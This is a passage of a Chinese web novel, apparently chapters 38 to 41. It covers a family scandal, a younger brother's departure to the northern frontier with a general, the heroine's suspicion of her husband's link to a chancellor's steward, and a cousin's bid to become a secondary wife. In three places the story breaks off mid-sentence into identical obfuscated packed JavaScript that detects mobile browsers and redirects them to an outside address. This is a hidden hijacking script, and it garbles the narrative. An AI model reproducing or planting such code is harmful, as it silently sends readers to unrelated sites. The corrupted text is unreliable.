兰中正得到消息最晚，这会子一言不发走进屋子，平日里面对亲戚总是一团和气的脸上布满了寒霜。万山锦与万山毓陪在身后，却不敢多说一句话。 兰雁歌一见父亲来了，原本止住的哭泣复又爆发：“爹爹！” 兰中正将女儿拉起来，为她擦去脸上的泪痕，待她平复些才说道：“我儿莫哭，你向来洁身自好，为人正直，从来不作亏心事，也无须为腌臜事难过。” 兰芬周身一震，抬头说道：“长兄这话……” 兰中正置若罔闻，直直地盯着万有善，冷冷说道：“万大人，此事发生在贵府上，你既为主家，又身居要职，想来必能彻查清楚，给我兰家一个明明白白的交代。我比不得万家人口兴旺，半百之年只有这么一个孩子，她的喜怒哀乐就是我夫妇二人的全部。我在家里，静待大人给我一个公道。孩子，夫人，我们走。” 说罢，他一手护着妻子，一手护着女儿，挺直了脊梁，一步一步往外走。 一直沉默不语的葛川膝行过去，拦在兰中正前面，一字一字艰难说道：“兰伯父，您和伯母清楚侄儿的为人，别说只是喝点酒，就算是血溅当场，也决不敢有负雁歌半分。” 他的双眼红得像要滴出血来。 兰中正沉默半晌，长叹一声，绕过他带着妻女走了。 万有善追了出去。 葛夫人说了一声“冤家”，顿时泪如雨下。 她起身将对着门口不住叩头的葛川拉起来，眼神略过兰芬母女，看着屋梁说道：“夫人，我们再议吧。” 也走了出去。 万山毓走到万山雪身边低声问道：“姐姐，你没事吧？” 她摇摇头，轻轻拍了拍他的手背。 万山锦则一把将万山绣从兰芬怀里拽了出来，重重推倒在地上。 素日里文质彬彬的模样不再，他的声音里满是怒火和嫌恶：“哭！你还有脸哭，我若是你，宁可一头碰死罢了！万山绣，看看你干的好事！我秋闱在即，日日闭门苦读，只待考场上能够一鸣惊人，光耀门楣，你倒好，竟当着众人，闹出这等不知廉耻的事来！” 他越说越气，手指几乎要点到她的鼻尖上来：“你让我此后在同窗面前如何抬头做人？届时他们戳着我的脊梁骨，说我万山锦有个不知检点、抢夺表妹夫婿的妹妹……你简直，简直把我的脸都丢尽了。” 他喋喋不休地抱怨着，字字句句不离“我”字。 这是他一母同胞的妹妹，事发时他并不在场，不了解来龙去脉，亦不知其中可有隐情，妹妹是否受了委屈，半分关切也无，只有自身被牵连的愤怒指责。 往日万山雪总瞧着二弟温文儒雅，言谈举止都是板板正正的，总是希望弟弟能像他几分就好了。如今看来，这母子三人的自私当真是如出一辙。 兰芬为人精明，教会孩子算计、争抢，唯独没有教他们何为骨肉情深，何为担当责任。此时对着一双儿女的撕扯，只剩下流泪。 万山雪带着弟弟出来了，到窗子底下听见万山绣尖声叫道：“够了，万山锦！你的名声，你的前程……在你眼里，除了你自己，还有别人么？” “你还不知足，从小到大，这个家里什么好的不是紧着你？你要读书你要科举你要光宗耀祖，所有人都围着你转！连我的婚姻大事，父亲母亲第一个考虑的，也是能不能对你有所裨益。要我去攀附将军，是因为黎家世世代代忠君爱国，无论将来风云如何变幻，做将军府的舅子都可保你一世无忧。又想我嫁给相国的庶子，是担忧万一他笑到最后，到时候我们手里没了本钱。万山锦，你瞧，他们恨不得将我一分为二，来给你助力。” “疯了，你给我住口！”紧接着是两声清脆的耳光。 屋子里安静了一刻，万山绣尖利的笑声传了出来，大热天里，万山雪起了一身的鸡皮疙瘩。 “哈哈哈哈，打得好！这边也来两下吧。你们以为我真看得上葛川么？就他那副不求上进的闲散样子，在表妹眼里是与世无争，在我这儿等于废物。母亲呵，我看上的是，他是京中少有的独子，若跟他成婚，我也能体会被父母全心全意爱着的感觉，哪怕只是沾个边儿也是好的啊！” 闻言，万山雪心里五味杂陈，她扭头看着弟弟，他清亮的眼眸中带着明显的震惊不安，显然是头一遭听到这些话，也惊住了。 她心里漫起阵阵疼痛。 这个弟弟，一直不求上进，是别人眼中不争气的孩子，是别人教训孩子时脱口而出的反例，可是他心性单纯，从不懂这些阴暗算计。 这些年，他从未这样责备过她，责备她不为自己铺路，责备她只顾自己，从来想不起来有个弟弟，只除了乳母因她丧生那回。 她牵着他的衣袖，毫不犹豫地离开了，将那母子三人远远抛在身后。 日已西斜，仍是炙热。 下人们已经清理干净庭院，恢复了往日平静的模样，只是行事说话格外小心，生怕触了霉头。几竿翠竹随着偶然吹来的微风摇曳，沙沙的声响都听得很清楚。 到了万山毓屋子里，她沉默地替弟弟整理行装，万山毓将她按在椅子上，笑道：“姐姐休要如此，将军知道定然要痛骂我，这么大人了，连个行李也收拾不好。” 她看得出弟弟也在强忍泪意，都不愿意离别凄凄惨惨的，便打趣道：“那你便回道，将军若有姐姐，就知道，弟弟是拗不过姐姐的。” 这时丫鬟在门外通报：“姑爷来了。” 姐弟二人脸上的笑意倏地收住。 崔明之走了进来，牧笛捧着两套棉衣并一个包袱放在桌上，打开来看，貌似普通的棉衣里面缝制的却是狐皮，油光水滑，一看便是御寒的极品。 “军营中无论吃穿用度皆有严格的等级规定，若是太扎眼了越过将军去，恐落人口舌，我便命人缝在了内侧。” 崔明之说着，接过牧笛手里的包袱，“这里面是一些金疮药、冻疮膏，北疆苦寒之地，离不了的。还有一些银两，你随身带着，穷家富路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756681|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你姐姐也安心些。” 万山毓倔强地抿着唇，半晌才梗着脖子说道：“谢谢姐夫，可这些东西太贵重了，我不能要，请姐夫收回去。” 他顿了顿，直直地迎着崔明之的目光：“姐夫若是有心，对我姐姐好点儿，比送我什么礼物都强。” 这话说得太过直接，万山雪轻声道：“毓儿，不得无礼。” 崔明之大约也未曾料到小舅子会说出这样的话，他看了一眼万山雪，沉默片刻道：“既给你备了，就没有收回去的道理。我日后……会注意的。” 他向万山雪走近两步，低声说道：“今日岳父岳母都不好受，你便在娘家住一晚，略开解些儿，明日送了毓儿再回去。” 万山雪没有看他，只是低低回了一个“嗯”。 崔明之带着牧笛转身而去，屋子里只剩下姐弟二人。 万山毓赌气将崔明之送来的东西推到一边，万山雪拿起来说道：“又犯傻了，你带着去，若是遇见那等寒家子弟，衣物单薄的，便送给他们，也是一份善意，何必跟东西过不去？” “姐姐，你不知道我心里多难受。这几日来来回回地想，若是逼着你们立时和离了，你回家里来住也是无趣儿。又想着待我成家了，就让你离开崔家，跟我住一起。可是转念一想，成了婚我少不得还是要跟他们住在一个屋檐下的，竟是个无解难题……” 万山雪忍着哽咽，强笑道：“别孩子气了，你去了北疆跟着将军好好练本领，专注自己的志向，不要想七想八的。你背着我往前走，一个不慎，咱俩都要摔得头破血流的。相信姐姐，我也能打理好自己的生活。” 将近晚膳时分，万有善独自在书房生闷气，那兄妹俩还在争吵不休，兰芬气了个倒仰，一时也无心理家事。下人们成了无头苍蝇，有事就来找万山雪拿主意。 厨娘来问晚膳安排，万山雪勾了几样清淡的菜肴，万山毓在旁说道：“是了，再做些扁豆茯苓糕吧，往后只怕再也吃不到了。” 厨娘微微一愣，随即笑道：“大爷这么说，叫我心里怪不好受的，既是大爷不嫌弃，我便多做一些，明日带着路上分与众人吃。左右天气热，也不怕吃凉的。” 万山雪心里倒犯了疑，待厨娘走后，装作不经意地问道：“扁豆茯苓糕？我怎么没吃过？” “你知道阿母有胃疼的老毛病，在家里时各种汤药养着倒是还好，后来去了寺里，我总担心那里诸事不便，就找大夫问了这个平气养胃的法子，央厨娘做了，每每去看她时捎带过去。” “你那个方子在么，给我瞧瞧。” 万山毓掰着手指说道：“我能记住，白扁豆，茯苓，糯米，都打磨成分，加些许蜂蜜面粉蒸制而成。” “就这些？” “怎么了，姐姐觉得哪里不合适么？” 万山雪摇摇头：“没有，你姐夫新近换了厨子，厨艺极好，我是想着你既说好吃，又有方子，来日我瞧瞧能不能做成干的给你捎过去。听说北疆人吃食以肉为主，怕你肠胃不适。” 万山毓这才恍然，拍拍胸脯说道：“放心吧姐姐，我这身板，吃铁也能消化。” 39. 第 39 章 夜空清澈如洗，繁星点点，月光柔和地洒落在庭院中，万山雪立于阶下，将早就说过的话一遍又一遍地嘱咐，百般放心不下。 小丫头子上前说道：“太太过来了。” 回头看去，兰芬缓缓近前来，灯光昏暗也可看出她满脸的疲态。身后的丫鬟将食盒放在阶下石桌上，端出两盏燕窝来。 万山雪挽着她的臂膀，心疼地说道：“母亲怎地还未歇息？” “你看我能睡得着么，”兰芬声音沙哑，“孩子，今日是我不好。当时你爹使了性子下手那般没轻重，一圈儿外人又眼睁睁地站着看笑话，真叫我又羞又气又恼又痛，口不择言，说了那些混账话。” 她哽住了，接过帕子擦了擦眼角道：“雪儿，你莫要往心里去，我……” 万山雪故作嗔怪道：“深更半夜的，我当母亲有什么大事。自家娘儿们之间，为了这一两句话巴巴跑来道歉。当年我将您和爹爹气得那样，也没见爹娘跟我记仇。” 兰芬拭泪道：“可不正是这样说，一家子骨肉，哪儿能没个磕着绊着的，你瞧锦儿这个犟牛，我略维护绣儿几句，他气得把自己关在书房里不吃不喝，绣儿呢，寻死一会儿哭闹一会儿，我这会子真是生不能死不下的。” “您老人家只管生气发愁，他俩个可是双生子，打从娘胎里起，就比寻常兄妹感情更和睦，保准不出两日就和好了。” 兰芬道：“若只是他俩，闹破天打破头我也不理会他们，这里面偏偏牵扯到了你舅舅家，亲娘舅也罢了，打打闹闹说不得还是一家子。可还有人家葛家儿郎，你说这孩子，行事顾头不顾尾的，可怎么好……” 万山雪一想到舅舅带着妻女离开的情形就心痛难忍，不愿意就这个话题再往下聊，她起身说道：“这会子都在气头上，母亲切莫忧心。过几日待众人心气都平了，再做议论也不迟。好了，我送母亲回去歇下，这几日您为了给毓儿准备行礼践行宴，劳心又劳力，可累得够呛。” * 早大暑，冷飕飕；晚大暑，热死牛。往年京城秋早。每到夏末，暑气就已完全消退。今年临近八月仍是热得人发腻。北城门外，官道两侧的杨柳枝叶尚显蓊郁，但边缘已隐隐透出些疲乏的焦黄。 黎偃松此次回京所带只有寥寥数十人，可是军容整肃，列队立于灼热的艳阳之下，仍使人不自觉地屏住呼吸。 黎偃松端坐在马上，送行的官员们、亲眷们聚在道路两旁，细细碎碎的叮嘱与啜泣声听得人心头发紧。 江心澜与万山雪告别，翻身上马催促道：“咱们快些出发吧，慢刀子割肉，越拖越痛。” 黎偃松不置可否地应了一声，借着清点人数的机会，目光如同鹰隼一般，掠过躁动的人群，准确无误地定在不远处的一株柳树下。 万山雪站在那里。 她穿着一身青梨色月牙凤尾罗裙，外罩同色小衫，宛如笼罩着一层青色烟雾，与外界的喧嚣燥热隔绝开来。 万山毓站在她身旁，脸上又是憧憬又是不安。 就在这时，他一眼瞧见兰中正携着妻女分开人群走了过来。 昨日之事，早被好事者一夜之间传遍了京城权贵之家。故而他们一出现，送行的人群立刻安静下来，八卦窥探的热情立时冲淡了别离之苦。 兰中正面色沉凝，阵阵热浪也无法融化他眉目间的寒冰，他直直地越过人群，走向外甥。 景明洲慨叹道：“长辈动辄爱说命运，我往常不爱听这话。可你们瞧，兰家姑娘能有这样的父母，怎不算命好呢？” 他说着轻轻撞了撞黎偃松，调侃道：“黎大将军，这等好的岳父岳母，错过一次，老天又给你一次机会，可要把握住了。” 江心澜“啧”道：“你这话说得真可厌，好像这会子去提亲，就是给兰家天大的恩情似的，人家兰姑娘就得感恩戴德上赶着成亲么？” 景明洲经她抢白，愣了愣说道：“我哪里有那层意思？不过是想到伯母前些日子说起原有意撮合他俩顺嘴一说罢了，你今儿怎么火气这样大？” 江心澜气咻咻地扭过头去不理他。 黎偃松没心情理会他俩吵嘴，他满心回响的，都是昨夜里青鲤金鲤你一言我一语的汇报。 “当年大雨困在庙里，万夫人与崔二爷初相识，据说崔二爷对夫人是一见倾心，回去还大病一场，再后来两人就有了书信往来。万大人夫妻俩起初并不同意，夫人的乳母，就是那位春草嬷嬷也不同意，一来认为寡母独子不好相与，二来觉得崔家门第稍逊，唯恐夫人婚后委屈。可是万夫人她态度坚决，春草嬷嬷出家也没能改变她的主意，才成就了这段姻缘。” “只是不知为何，成婚三年无子息，我辗转从崔家铺子的伙计那儿打听到一点子消息，说是成婚后许久二爷都不回屋。他们那起小人都猜测是夫人婚前或许跟谁有了首尾，被二爷发现，故而才冷落至此的。” “还有的说，是因为万家要的聘礼过于丰厚，才惹来夫家反感的。两家婚事定下来不久，万家就在桃子岭上建了别业，听说没有三两千银子是造不出来的……” 真真假假，可是每个字都如同冰锥，狠狠扎进他的耳朵里去，直疼到心底。 万山雪姐弟也瞧见了兰家人，急忙迎上去，一张嘴眼泪先掉了下来：“舅舅，舅母，你们怎么……” 兰雁歌眼眶红红的，反而伸手帮她擦眼泪。 兰中正一把揽住万山毓说道：“好孩子，此去山高路远，北疆风沙凛冽，要保重身体。舅舅不求你建功立业，只要全须全尾回来，将来……” 他的身子不受控地颤抖起来，顿了好一会儿才说：“将来九泉之下，我也能与你母亲有个交代了。” 万山毓噗通一声跪下了，对着舅舅舅母重重地磕了三个头。 兰中正夫妇再三才将他拉起来，接过丫鬟手里的包袱塞给万山毓，又看看万山雪说道：“咱们永远都是一家人。” 黎偃松将这一切尽收眼底，心里泛起了欣慰。 回来这些日子，虽然只有数次会面，他却能够明显觉察到她的变化，如今崔明之亦不似当初那般冷酷，再加上有这样的舅舅舅母一家人，她往后日子定然会好过许多。 那就好。 低沉的号角声响起，如同声声悠长的叹息。万山雪望着弟弟的身影融入那片铁甲洪流，只觉得心口像是被什么东西慢慢掏空，只留下无着落的空虚。周遭的喧嚣哭泣声，变得那样模糊。 她跑上前几步，冲江心澜挥手道别，却冷不防地撞进了一双眼眸里。 是黎偃松。 他的眼神使她想起掠过荷塘的微风，难以描摹的、几近感伤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758050|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔。 她有些发怔，心口那空落落的地方，仿佛被这轻柔的目光填满了一瞬。 短暂的对视，如同偶尔停驻的蝴蝶受惊飞走。 她回头一看，兰雁歌正在身后挥着手帕。想来将军也为昨日之事怜惜这个惹人疼爱的姑娘吧。 黎偃松转回了视线，一扬手臂带着人马毅然离去，马蹄踏在干燥的官道上，扬起阵阵尘土。 车辙与马蹄在官道上碾出凌乱的印记，空气中浮动着离别后的寂寥气息。 众人都散了，万山雪将兰家人送上马车，长久地立在原地不肯离去。青色的衣裙在微风中轻轻拂动，仿佛一株涉水而立的碧荷。 直到崔明之的身影来到近前，举起扇子替挡住了头顶愈发刺目的阳光。 “回吧。” 她默默颔首，跟着他走向马车。 车厢内，角落的冰鉴吐纳着丝丝缕缕的凉意，将外间的溽热与喧嚣隔绝开来，自成一方静谧小天地。 万山雪倚着车壁，怔怔望着窗外流动的街景——挑着担子的小贩、嬉笑的孩童、摇曳的店招，时近时远如在梦中，模糊而不真切。 弟弟离去时那故作坚强的背影、舅舅眼中深沉的痛惜、种种影像在她疲惫的心头交织浮沉。 忽然，一个被昨日忙乱与悲伤掩盖的细节，如同深水中的寒玉，带着沁人的凉意，缓缓浮上心间。 是那双眼睛。 昨日宴席间隙，相府管家在奉上赏赐时，看向她的眼神不对，似乎……似乎带着一种隐晦的熟稔与打量。 当时忙碌，后又遽然生出变故，无暇细细思量，这会子越想越觉得可疑。 念头一起，便再难压下。 她斟酌了一下词语，侧过脸，看向闭目养神的崔明之，踟蹰开口：“昨日相府那位大管家，好似对我格外留意，倒有些奇怪。” 崔明之缓缓睁开眼，眼中并无讶异，神色淡然解释道：“哦，你说的是赵管家。他原是母亲娘家那边的同乡，算是知根知底。若真要细论，还沾着点五服外的表亲关系。” 他语气平常，像在说一桩无关紧要的小事：“你也知道，咱们家里做这行当，一只脚在朝堂，一只脚在生意场，难免需要些门路。赵管家念着这层乡谊远亲，倒是偶尔行些方便，给家里的生意帮衬过些许小忙，对你自然比别人不同。” 这一切听起来都那么顺理成章。 万山雪听着，轻轻“嗯”了一声，不再多问。 她重新将视线投向窗外，看着熙攘的街市。可不知为何，她心底那丝疑虑并未完全消散，反而像一粒微尘，悄无声息地落入了心湖，静静地沉在那里。 车厢内唯有车轮碾过青石的轱辘声。 辚辚驶过桥时，她想起那夜与弟弟并肩畅谈的情形，突地打了个激灵。那个男子！ 他的嗓音，他那略显佝偻的肩背，行走时微微倾斜的步态，竟与此前月夜，她在桥下看见与婆母低语的神秘男子，严丝合缝地重叠在了一起！ 这个发现让她指尖骤然发冷，仿佛触碰到了隐藏在华丽锦缎下的冰冷毒蛇。 若真如此，崔明之轻描淡写的“同乡远亲”、“些许帮衬”，究竟是不知情，还是为了掩盖真相？ 她微微侧目看向淡然的他，不由得往车壁旁又挪了挪。 40. 第 40 章 又是一年中秋。 崔家惯例，每逢新春、中秋两个大节，四家要于节日前夕轮流做东，接出嫁的姑娘回来一道开家宴，今年中秋宴正轮到崔家。 万山雪最怕崔家家宴。 于她而言，这是一场漫长而公开的凌迟。总是提前一个月就开始坐卧难安，席间觥筹交错的虚伪热情，婶娘姑母们乃至姨娘们裹着关心的明枪暗箭，一下一下扎在她早已千疮百孔的心上。 她每次都恨不得缩在角落，钻进地缝里去。 而今她不再这样想了，顶着崔家长媳的身份，如今在府里尚能立足，趁此机会尽可能多学些东西，说不定将来何时就能派上用场。 一大早起来，她就收拾得利利索索去了婆母屋里，笑盈盈地说道：“母亲，家宴在即，事务繁多。往年儿媳不懂事，不知道替母亲分忧，只知道坐享其成，如今想起实在惭愧。今年恳请母亲多多教导我，但凡儿媳能做的，听凭母亲指派。” 尤氏正与陪嫁婆子卫凭家的核对事项，闻言抬起眼来，审视的目光在她脸上停留了片刻，点点头道：“也好，你且跟着你卫姐姐去学学吧。” 万山雪没有丝毫怠慢，跟着卫凭家的查看宴客厅的布置，器皿搭配，还顺带问了宴席菜品的预算和采买渠道，她不羞赧于自己的无知，不懂就问。 那卫凭家的起初还有三分遮不住的轻慢，问得再深些便有些敷衍。 万山雪觉察到了，便停下来，看着她的眼睛，一字一顿重复问了一遍。 卫凭家的赔笑说道：“奶奶是享福的命，这些琐碎事交给我们下人打理就是，何必操心呢？” “卫姐姐这话十二分的糊涂，太太每日都要操心过问诸般事宜，不知道卫姐姐是说咱们太太天生的劳碌命，还是嫌弃我愚蠢，不配过问崔家府内之事。” 她清楚地看见，不光卫婆子分明有了两分忌惮，连边上连玲珑在内的一众丫鬟们眼神都带着小心。畏威不畏德，果然如此，越好说话，旁人越是蹬鼻子上脸。 到了酉时初，一切已准备就绪。 朱漆大门上的鎏金铜钉在夕阳下闪耀暖光，府内早已是灯火通明，仆从如织，空气中混合着酒肉果品与香料味道。 万山雪换了一身湖蓝色的裙裳，站在尤氏身侧后方，默默学习她与不同人的寒暄应对之法。 虽然早有心理准备，面对崔家长辈往她小腹上投来的目光，仍是有些僵硬，心跳飞快，手心也沁出了冷汗。但她努力克制着想要低头或逃跑的本能，暗暗告诉自己：万山雪，你挺住了，将来要独立门户时，只会有更多更麻烦的事等着你处理，这些人不过是你拿来练手的工具罢了，怕什么！ 这般一想，心里便安定下来。 当三房那位惯常牙尖嘴利的婶母芮氏抚摸着小腹向她走来时，她并没有像往年那样躲开，而是迎着她的目光，微微颔首，大大方方唤了一声“三婶母”。 芮氏显然有些意外，上下打量一番对着尤氏笑道：“明之媳妇气色真好，还似待字闺中的姑娘一般水润。如今竟愈发能干了，要我说啊，大嫂快要退位让贤了。” 万山雪清楚地看到尤氏的尴尬，她维持着脸上的浅笑，不卑不亢道：“三婶母过誉，儿媳愚钝得很，不过是跟着母亲多少学点儿，尽一点子本分罢了，不足之处请婶母担待。” 宴席开始后，她依旧帮着忙碌，及时吩咐丫鬟们添酒布菜。酒过三巡，气氛愈发热络，她知道惯常的考题又要如期而至。 果不其然，二婶母先发了难：“大嫂精神愈发好了，只是我瞧着，头上添了一缕白发。我这个人说话直，明之媳妇恨我也罢，总归我是为着心疼大嫂。你们母亲一人含辛茹苦将明之拉扯大，为的是延续崔家长门血脉，咱们嫁为人妇，第一件要紧的，便是为人家开枝散叶。你说是也不是？” 芮氏接话道：“可不是嘛，这孩子一出生可了不得，咱们崔家响当当的长孙。好孩子，莫怪我们催促，明之是个大的，弟弟妹妹都还小，我们想要升辈，可全指望着你呢！” 四婶母说道：“说起来，我自从生完老三常觉得上不来气，前儿他四叔听说了一位妇科圣手，最是擅长调理妇人气血，助人延嗣。侄媳妇若是有空，明儿我请他来给你开几服药调理调理。” 你一言我一语，已经够使人难堪的了，偏是这时三婶母的小儿子奶声奶气地发问道：“你们是说嫂嫂不会生孩子么？” 三婶装模作样呵斥两句，命乳母将几个孩子都带去另一个屋子。 万山雪握着象牙筷的指尖骤然收紧，指节泛白。她努力直起身子来看着众人，让声音听起来平稳无波：“都是做儿媳的不好，令母亲和各位婶母操心了。明之日日忙于生意，有时饭菜端上桌来不及吃就走了，儿媳笨拙，不能为夫君分忧已很是惭愧，不敢再因为别的事情让他劳神。我想这子嗣之事，讲究缘分。母亲亦常常教导，当以大局为重，儿媳铭记于心，不敢或忘。” 崔明之的大姑母用帕子轻拭嘴角，漫不经心笑道：“依我说啊，这事儿赖不着万氏，我打一个粗糙的比方，不大中听啊，譬如种一棵树苗和一百棵树苗，哪个成活机会大？怪就怪大嫂不给明之纳妾，纳上十个八个，我不信没有侄孙子抱。” 二姑母笑道：“你们大姑这话虽不好听，却很在理。明之是咱们崔家的嫡长子长孙，开枝散叶是头等大事，关乎家族根基。” 她的目光状似无意扫过明艳照人的乌思羽，说道：“左右咱们也不差钱，找那些身子健朗性子活泼的姑娘，多娶几个进门。如此一来，雪丫头没了心理负担，指不定马上就有好消息了。雪丫头，你说是也不是？” 恰好崔明之进来给女眷们敬酒，不等万山雪开口，他便对众人说道：“都是侄儿不好，让各位长辈挂心了。只是这事儿追根究底，确乎怪不得雪儿。侄儿能力有限，常为生意之事忙得焦头烂额，深夜方归。左右咱们都是骨肉至亲，说出来不怕长辈们笑话，每个月我们夫妻共餐的次数五个指头都数得过来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765853|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更遑论子嗣一事。甭说纳十个八个妾侍，就是一百个也是枉然。” 他竟将责任都揽到了自己身上！这可真是破天荒头一遭。 “接下来，侄儿会注意平衡生意与家庭，尽可能地多腾点儿时间陪陪母亲妻子。今日这鲥鱼味道鲜美，姑姑婶婶们多用点儿。” 他敬完酒，夹了一筷子鱼肉放到了万山雪的盘子里。 又是满座皆惊。 万山雪也怔住了。 从前这种时刻，他是从不肯出声的，任由她一个人难堪。当着众人给她夹菜，更是从未有过的事。 她看着那块雪白的鱼肉，只觉得扎得眼睛生疼。 想起此前他在房内失控的举动和近日来突然生出来的温柔小意，只觉得荒谬又悲凉。商人重利，为了攀上兰家葛家，他真舍得下本儿，肯耐住嫌恶同她做恩爱夫妻。 若是从前，哪怕清楚他是装的，她仍甘之如饴。 太迟了，太迟了崔明之。 不过经他一说，席间再无人敢明目张胆拿子嗣问题说事了，众人默契地转移了话题。 她拿起筷子，掠过那块鱼肉，安静地吃着别的菜肴，就如同那场风波从未发生过。 夜深人静，月光凉凉地地透过窗漫进屋里来。 红璎服侍着万山雪才沐浴罢，橘霜进来说道：“奶奶，表姑娘来了。” 乌思羽换了一身浅绿襦裙，淡青比甲，褪去了宴席的艳丽，多了份清雅，那双眸子在烛光下亮得惊人，带着决绝。 她挥手屏退丫鬟，室内只剩下她们二人。 “表嫂，”乌思羽开门见山，目光直视万山雪，“家宴上的话，你都听见了，我不绕弯子。” 她语气坦荡：“想嫁给表哥，自小便是。说实话，我也想过像你娘家二妹那般，用下作手段自毁名节去抢姻缘，可是没能遂愿，我也不愿意等了。” 她向前一步，烛光在她脸上跳跃着，将她的笑容染上几分狂放：“表嫂，你是聪明人。你在崔家的处境，自己清楚。夫君对你敬重有余，情分不足。长辈对你……今夜你也看到了。你占着正妻之位，数年无所出，生意之事不擅长，人际交往拙于应对，于崔家于表哥，敢问表嫂有何实质助益？” “是，你舅舅回京了，可终究隔了一层，助力有限得很。而我，一来深受姨母疼爱，表哥赏识，婚后和谐自不必说。二来我精通生意之道，能帮助扩大崔家产业。三来，我比表嫂年轻，自小身体强健，说句不知羞的，子嗣之事必然顺利许多。” 她微微扬颌，带着施舍般的保证：“表嫂若是助我了却心愿，我承诺，进门后绝不刻意刁难。你依旧是嫡妻，我愿以平妻之礼相待，日后我若有所出，孩子也会视你为母。我们和平相处，共同辅佐表哥。这难道不比你如今独木难支、内外交困要好？至少，你能得清静安稳，得个‘贤名’。” 好个赤裸裸的阳谋。 万山雪凝视着她因激动有些潮红的美丽面庞，忽地笑了。 41. 第 41 章 “表妹心思，我已知晓。” 万山雪终于开口，声音平静得没有一丝波澜，“你既知我在这府内处境，人微言轻，便知此事非我能左右。表妹何不自行与母亲言明，母亲同意，我自然无话可说。” 乌思羽似乎早就料到她会有此一说，唇角勾起一抹了然的笑，带着几分讥诮：“表嫂何必把我当傻子糊弄？姨母自然是千肯万肯的，她疼我，也盼着崔人丁兴旺。只是……” 她顿了顿，目光锐利地看着万山雪，“姨母也顾忌着颜面，怕直接提出，一来委屈了我这亲外甥女做小，又怕外人说崔家苛待原配。故而这才需要表嫂你主动贤惠地提出来。由你开口，全了所有人的体面，岂不是最好？” 她逼近一步，语气带着不容置疑的逼迫：“我没拿嫂子当外人，已表明心迹，也给出了足够优厚的条件。若还是于心不足，将来待我生了女儿，一出娘胎就抱给你养，终身也有个依靠。不知表嫂是顺势而下，全了彼此颜面，还是非要等到长辈施压，夫君离心，闹到无法收拾的地步，让你自己更加难堪？这其中轻重，想必表嫂很知道权衡。” 万山雪乍然听到她要嫁给崔明之的要求时，骤然有解脱之感的，这桩事若真能办成，崔明之往后就没理由逼迫她行夫妻之实了。 但乌思羽的步步紧逼，使这个念头转瞬即逝。凭什么？ 她是崔家明媒正娶的妻子，是上了族谱的二奶奶，她是要离开，但必须从从容容游刃有余，决不能以这种方式。她要让所有人明白，是她万山雪不稀罕这个位置，而不是没资格要。 念及此，她缓缓呷了一口茶，徐徐说道：“表妹既然唤我一声表嫂，便该知道，何为规矩。” 她抬起下巴，视线落在乌思羽略微僵住的面庞上：“我的位置，是崔家三书六礼请来坐上去的，不是我想让，妹妹想要，就可动摇的。你想进崔家的门，想给你表哥绵延子嗣，好说。按规矩来，父母之命媒妁之言，一样都少不得。最终，也须由我这个做表嫂的亲自点头，接了你的妾室茶，方能如愿以偿。” “还有，妹妹年纪小，不懂礼数颠倒尊卑，我当嫂子的不能袖手旁观。我乃正妻，无论你自封为平妻还是贵妾，你生下的所有孩子，都要经我同意才能养在自己身边，而且必须唤我母亲，唤你姨娘。” 她起身舒展一下腰肢，打了个呵欠说道：“夜深了，我要歇下了。妹妹若真有心，不如先回去好好学习妾室的本分。做得好了，将来后宅安宁，这才是真正心疼你表哥呢！” 乌思羽彻底愣住了，娇艳的脸蛋瞬间涨得通红，羞愤又不甘，半晌一个字也说不出来。 万山雪自顾自躺在了床上：“橘霜，送客。” 乌思羽鼻腔里挤出一声冷笑，满眼皆是讥诮不服，咬牙切齿地说道：“表嫂别以为我不知道，你当初如何进的崔家，亏得这会子有脸拿正妻的身份来压我。史书上多的是空有位份而无宠爱的正室，最后下场连猪狗都不如。哦，是了，表嫂腹内草莽，大抵不知道这些典故。咱们走着瞧吧，看谁能笑到最后。” 说完她不再看万山雪，带着一身骄矜与怒火，转身去拉门，却忽地僵在原地。 万山雪拿起一本书细细翻阅，余光瞥见她愣在门口，说道：“妹妹还有什么吩咐，不妨一次性说完。” 见她仍是呆呆立着，这才顺着视线望去，只见崔明之脸色铁青站在那里，紧紧抿着嘴唇，周身散发的冷意几乎能将空气冻结，想来两人对话他已经听了大半。 “表哥……我，我不是那意思……”乌思羽的声音抖得不成样子，方才的气焰荡然无存，像是做错事被抓住的小孩。 崔明之没有理会，绕过她进了房间，站在万山雪身侧，字字清晰地对乌思羽说：“道歉。” 乌思羽眼圈一红，眼泪已经成串地掉了下来：“表哥，你不能这般对我……” “听不懂话么？我让你，”崔明之厉声打断她，“为你方才那些混账话，向你表嫂道歉。” 乌思羽万分不甘地转向万山雪，从牙缝里挤出几个字：“对，对不起，表嫂……” 万山雪自始至终安静地坐在床上，仿佛一个置身事外的看客。 